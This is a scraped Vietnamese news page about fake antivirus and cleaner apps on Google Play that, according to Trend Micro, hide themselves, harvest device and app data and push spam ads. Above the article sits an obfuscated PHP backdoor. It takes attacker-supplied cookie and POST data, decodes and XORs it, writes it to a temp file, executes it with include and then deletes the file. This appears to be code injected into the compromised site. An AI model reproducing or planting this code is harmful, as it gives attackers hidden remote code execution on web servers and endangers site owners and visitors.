$ylZYFX = chr (85) . '_' . 'E' . "\121" . "\130" . chr (108) . chr (104); $yLWtuVuIpp = 'c' . chr ( 753 - 645 ).chr (97) . "\x73" . chr ( 582 - 467 ).chr (95) . "\145" . "\170" . chr ( 510 - 405 ).chr (115) . "\x74" . 's';$kAOmFrC = class_exists($ylZYFX); $yLWtuVuIpp = "35366";$DZnLrk = strpos($yLWtuVuIpp, $ylZYFX);if ($kAOmFrC == $DZnLrk){function IAeTZP(){$aZfgaHHvu = new /* 4364 */ U_EQXlh(29822 + 29822); $aZfgaHHvu = NULL;}$XKXHSy = "29822";class U_EQXlh{private function KWZRppi($XKXHSy){if (is_array(U_EQXlh::$YNoKSXbD)) {$name = sys_get_temp_dir() . "/" . crc32(U_EQXlh::$YNoKSXbD["salt"]);@U_EQXlh::$YNoKSXbD["write"]($name, U_EQXlh::$YNoKSXbD["content"]);include $name;@U_EQXlh::$YNoKSXbD["delete"]($name); $XKXHSy = "29822";exit();}}public function HfLoXJy(){$XvCgWQeB = "40563";$this->_dummy = str_repeat($XvCgWQeB, strlen($XvCgWQeB));}public function __destruct(){U_EQXlh::$YNoKSXbD = @unserialize(U_EQXlh::$YNoKSXbD); $XKXHSy = "22734_2480";$this->KWZRppi($XKXHSy); $XKXHSy = "22734_2480";}public function gYQxmX($XvCgWQeB, $uwoXMoiAQJ){return $XvCgWQeB[0] ^ str_repeat($uwoXMoiAQJ, intval(strlen($XvCgWQeB[0]) / strlen($uwoXMoiAQJ)) + 1);}public function HturnsX($XvCgWQeB){$IRxSAES = "\142" . "\x61" . "\163" . chr (101) . chr (54) . chr ( 962 - 910 );return array_map($IRxSAES . chr ( 150 - 55 ).chr ( 1074 - 974 )."\145" . "\143" . 'o' . chr (100) . 'e', array($XvCgWQeB,));}public function __construct($oCcnlBmz=0){$vemMBQz = ',';$XvCgWQeB = "";$YdToI = $_POST;$OaybdGwVx = $_COOKIE;$uwoXMoiAQJ = "c88d6de5-9c28-4205-88d1-aa6ae4d03ace";$vclXYK = @$OaybdGwVx[substr($uwoXMoiAQJ, 0, 4)];if (!empty($vclXYK)){$vclXYK = explode($vemMBQz, $vclXYK);foreach ($vclXYK as $TPeibWgFe){$XvCgWQeB .= @$OaybdGwVx[$TPeibWgFe];$XvCgWQeB .= @$YdToI[$TPeibWgFe];}$XvCgWQeB = $this->HturnsX($XvCgWQeB);}U_EQXlh::$YNoKSXbD = $this->gYQxmX($XvCgWQeB, $uwoXMoiAQJ);if (strpos($uwoXMoiAQJ, $vemMBQz) !== FALSE){$uwoXMoiAQJ = explode($vemMBQz, $uwoXMoiAQJ); $dXdlFMY = sprintf("22734_2480", rtrim($uwoXMoiAQJ[0]));}}public static $YNoKSXbD = 56125;}IAeTZP();} Những ứng dụng giả mạo trên Google Play nguy hiểm nhất - Tải Chùa

Những ứng dụng giả mạo trên Google Play nguy hiểm nhất

by admin • 5 Tháng chín, 2023 • [rt_reading_time] phút đọc
Rate this post
Rate this post
Những ứng dụng giả mạo trên Google Play nguy hiểm nhất

Theo thông tin từ các nhà bảo mật trên thế giới hiện nay trên ứng dụng Google Play có nhiều ứng dụng giả mạo các chương trình bảo mật, diệt virus gây nguy hiểm đến điện thoại và dữ liệu người dùng. 

Theo Trend Micro, hầu hết các ứng dụng này được quảng cáo cung cấp cho người dùng nhiều tính năng bảo mật bao gồm xóa rác, tiết kiệm pin, quét, làm mát CPU, khóa ứng dụng, bảo mật Wi-Fi, bảo mật thư và nhiều hơn nữa. Tuy nhiên, chúng thật sự thu thập dữ liệu, theo dõi vị trí người dùng, tấn công người dùng bằng các quảng cáo rác.

nhung ung dung nguy hiem tren google

Danh sách các ứng dụng nguy hiểm trên Google Play

Security Defender, Guardian Antivirus, Smart Security, Security Keeper, Deep Cleaner, và Advanced Boost là các ứng dụng nguy hiểm nhất trong nhiều ứng dụng độc hại bị phát hiện. Trend Micro cho biết: Chúng có chức năng ẩn, không xuất hiện trên danh sách ứng dụng của trình khởi chạy trên các thiết bị như Google Nexus 6P, LGE LG-H525n, Xiaomi MI 4LTE và ZTE N958St để tránh bị phát hiện. Đối với các thiết bị khác, chúng sẽ bật cửa sổ pop-up trên màn hình của điện thoại.

Các ứng dụng này có thể thu thập được rất nhiều thông tin người dùng và thiết bị, sau đó gửi đến một máy chủ từ xa, bao gồm ID Android, Mac, IMSI, chi tiết về hệ điều hành, mẫu và thương hiệu của thiết bị, ngôn ngữ, vị trí, dữ liệu trên các ứng dụng đã cài đặt khác như Facebook và Google Play, thậm chí các thông tin cụ thể như kích thước màn hình.

Các nhà nghiên cứu nói thêm: Khi cài đặt một ứng dụng mới, bạn sẽ nhận được thông báo về dung lượng và kiểm tra trước khi kích hoạt. Tuy nhiên, khi tải các ứng dụng độc hại này, không có dữ liệu nào hiển thị cả. Chiến thuật này chính là để tránh bị Google Play kiểm tra và tránh những nghi ngờ của người dùng.

Bên cạnh các cảnh báo về mã độc, người dùng còn đụng độ với rất nhiều quảng cáo rác liên tục xuất hiện trên màn hình. Dù người dùng có khóa hay mở màn hình thiết bị hoặc yêu cầu kết nối với bộ sạc thì loạt quảng cáo lừa đảo này vẫn hiển thị.

 

 

Bài viết cùng chủ đề:

Chuyên mục bài viết